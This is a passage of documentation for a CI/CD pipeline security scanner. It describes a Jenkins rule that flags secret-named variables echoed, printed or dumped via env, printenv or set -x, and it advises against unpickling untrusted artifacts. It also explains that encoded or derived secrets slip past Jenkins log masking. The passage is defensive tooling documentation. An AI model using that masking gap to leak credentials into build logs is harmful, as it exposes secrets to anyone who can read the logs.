Don't deserialize a downloaded artifact through pickle. Load weights with safetensors, or pass weights_only=True to torch.load (the PyTorch 2.6+ default) so only tensors, not arbitrary Python, are unpickled. Drop allow_pickle=True from numpy.load. If a pickle / joblib artifact is unavoidable, pin and verify its source (a pinned revision, a checksum, a signature) and load it in a stage with no production credentials bound.

JF-042: Secret-named variable echoed / printed in a build step

HIGH CICD-SEC-6 ESF-D-SECRETS CWE-532 CWE-200

Scans every sh / bat / powershell step body for a credential variable handed to echo / printf / cat / tee, for an env / printenv dump, and for set -x with a secret-named variable in scope (the shared log_leak detector, with GHA-033 / GL-036 / BB-032 / ADO-031 / CC-032). The credential set is the union of name-pattern matches (PASSWORD / TOKEN / SECRET / API_KEY / CREDENTIAL) and the variable names bound by withCredentials([... variable: 'X']) anywhere in the Jenkinsfile, so a non-obviously-named bound credential (variable: 'GH') is still caught when it is echoed. The Jenkins analog of GL-036 / CC-032.

Recommended action

Don't print secret values in build steps. Jenkins masks credentials bound with withCredentials in the console, but only the exact bound string. Encoded, truncated, or derived forms bypass the mask, and set -x / env / printenv dump the raw value before masking can catch it. Log a boolean instead ([ -n "$TOKEN" ] && echo set || echo unset), and avoid set -x while a credential variable is in scope.


Adding a new Jenkins check

  1. Create a new module at pipeline_check/core/checks/jenkins/rules/jfNNN_<name>.py exporting a top-level RULE = Rule(...) and a check(path, doc) -> Finding function. The orchestrator auto-discovers RULE and calls check with the parsed YAML document.
  2. Add a mapping for the new ID in pipeline_check/core/standards/data/owasp_cicd_top_10.py (and any other standard that applies).
  3. Drop unsafe/safe snippets at tests/fixtures/per_check/jenkins/JF-NNN.{unsafe,safe}.yml and add a CheckCase entry in tests/test_per_check_real_examples.py::CASES.
  4. Regenerate this doc:
python scripts/gen_provider_docs.py jenkins